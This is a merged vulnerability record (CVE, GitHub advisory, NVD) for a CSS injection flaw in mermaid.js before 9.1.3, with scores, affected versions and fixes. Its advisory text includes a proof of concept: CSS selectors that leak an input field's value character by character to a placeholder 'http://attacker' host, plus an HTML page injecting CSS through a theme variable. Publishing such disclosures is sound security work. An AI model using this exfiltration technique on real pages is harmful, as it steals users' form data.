{"id":"CVE-2022-31108","aliases":["CVE-2022-31108","GHSA-x3vm-38hw-55wf"],"related":[],"kind":"vulnerability","state":"published","title":"Arbitrary `CSS` injection into the generated graph affecting the container HTML in mermaid.js","summary":"Mermaid is a JavaScript based diagramming and charting tool that uses Markdown-inspired text definitions and a renderer to create and modify complex diagrams. An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors. The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to \"load\" a background image that will let an attacker know what's the value of the character. This issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc. This issue has been resolved in version 9.1.3. Users are advised to upgrade. Users unable to upgrade should ensure that user input is adequately escaped before embedding it in CSS blocks.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Mermaid is a JavaScript based diagramming and charting tool that uses Markdown-inspired text definitions and a renderer to create and modify complex diagrams. An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors. The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to \"load\" a background image that will let an attacker know what's the value of the character. This issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc. This issue has been resolved in version 9.1.3. Users are advised to upgrade. Users unable to upgrade should ensure that user input is adequately escaped before embedding it in CSS blocks.","source":"cvelist"},{"lang":"en","text":"An attacker is able to inject arbitrary `CSS` into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted `CSS` selectors.\n\nThe following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the `value` attribute one character at a time. Whenever there is an actual match, an `http` request will be made by the browser in order to \"load\" a background image that will let an attacker know what's the value of the character.\n\n```css\ninput[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }\n...\ninput[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }\n...\ninput[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }\n...\ninput[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }\n...\ninput[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }\n```\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n## Product\n\nmermaid.js\n\n## Tested Version\n\n[v9.1.1](https://github.com/mermaid-js/mermaid/releases/tag/9.1.1)\n\n## Details\n\n### Issue 1: Multiple CSS Injection (`GHSL-2022-036`)\n\nBy supplying a carefully crafted `textColor` theme variable, an attacker can inject arbitrary `CSS` rules into the document. In the following snippet we can see that `getStyles` does not sanitize any of the theme variables leaving the door open for `CSS` injection.\n\n_Snippet from [src/styles.js](https://github.com/mermaid-js/mermaid/blob/9eae97ddab1b6eca58d2fd4af62357d2f4d8d1f7/src/styles.js#L35):_\n\n```js\nconst getStyles = (type, userStyles, options) => {\n  return ` {\n    font-family: ${options.fontFamily};\n    font-size: ${options.fontSize};\n    fill: ${options.textColor}\n  }\n```\n\nFor example, if we set `textColor` to `\"green;} #target { background-color: crimson }\"` the resulting `CSS` will contain a new selector `#target` that will apply a `crimson` background color to an arbitrary element.\n\n```html\n<html>\n\n<body>\n    <div id=\"target\">\n        <h1>This element does not belong to the SVG but we can style it</h1>\n    </div>\n    <svg id=\"diagram\">\n    </svg>\n\n    <script src=\"https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js\"></script>\n    <script>\n        mermaid.initialize({ startOnLoad: false });\n\n        const graph =\n            `\n            %%{ init: { \"themeVariables\" : { \"textColor\": \"green;} #target { background-color: crimson }\" } } }%%\n            graph TD\n                A[Goose]\n            `\n\n        const diagram = document.getElementById(\"diagram\")\n        const svg = mermaid.render('diagram-svg', graph)\n        diagram.innerHTML = svg\n    </script>\n</body>\n\n</html>\n```\n\nIn the proof of concept above we used the `textColor` variable to inject `CSS`, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:\n\n- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393\n- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35\n\n#### Impact\n\nThis issue may lead to `Information Disclosure` via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.\n\n#### Remediation\n\nEnsure that user input is adequately escaped before embedding it in CSS blocks.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Mermaid es una herramienta de diagramación y gráficos basada en JavaScript que usa definiciones de texto inspiradas en Markdown y un renderizador para crear y modificar diagramas complejos. Un atacante es capaz de inyectar \"CSS\" arbitrario en el gráfico generado permitiéndole cambiar el estilo de los elementos fuera del gráfico generado, y potencialmente exfiltrar información confidencial usando selectores \"CSS\" especialmente diseñados. El siguiente ejemplo muestra cómo un atacante puede filtrar el contenido de un campo de entrada forzando el atributo \"value\" un carácter a la vez. Siempre que haya una coincidencia real, el navegador hará una petición \"http\" para \"cargar\" una imagen de fondo que permitirá al atacante saber cuál es el valor del carácter. Este problema puede conllevar a una \"Divulgación de información\" por medio de selectores CSS y funciones capaces de generar peticiones HTTP. Esto también permite a un atacante cambiar el documento de manera que puede llevar a un usuario a llevar a cabo acciones no deseadas, como hacer clic en un enlace, etc. Este problema ha sido resuelto en versión 9.1.3. Es recomendado a usuarios actualizar. Los usuarios que no puedan actualizarse deben asegurarse de que las entradas del usuario sean escapadas apropiadamente antes de insertarlas en bloques CSS","source":"nvd"}],"published":"2022-06-28T18:35:11.000Z","modified":"2026-06-17T04:44:48.970Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N","score":4.1,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N","score":4.1,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N","score":4.1,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:M/Au:N/C:P/I:P/A:N","score":5.8,"rating":"MEDIUM"}],"cwes":["CWE-74","CWE-79"],"affected":[{"ranges":[{"version":">= 8.0.0, < 9.1.3","status":"affected"}],"vendor":"mermaid-js","product":"mermaid","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"8.0.0","status":"affected","fixed":"9.1.2"}],"ecosystem":"npm","package":"mermaid","purl":"pkg:npm/mermaid","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"8.0.0","fixed":"9.1.3"}],"vendor":"mermaid_project","product":"mermaid","cpe":"cpe:2.3:a:mermaid_project:mermaid:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/mermaid-js/mermaid/security/advisories/GHSA-x3vm-38hw-55wf","tags":["exploit","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/mermaid-js/mermaid/commit/0ae1bdb61adff1cd485caff8c62ec6b8ac57b225","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-31108","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/mermaid-js/mermaid","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-04-22T15:45:53.883Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2022-31108","url":"https://www.cve.org/CVERecord?id=CVE-2022-31108","licence":"CVE Terms of Use","modified":"2025-04-22T17:52:58.513Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-x3vm-38hw-55wf","url":"https://github.com/advisories/GHSA-x3vm-38hw-55wf","licence":"CC-BY-4.0","modified":"2023-11-08T04:09:26.448Z"},{"source":"nvd","name":"NVD","id":"CVE-2022-31108","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-31108","licence":"Public domain","modified":"2026-06-17T04:44:48.970Z"}],"updatedAt":"2026-11-25T22:58:12.617Z","epss":{"score":0.00929,"percentile":0.61582,"date":"2026-12-01T12:00:22.000Z"}}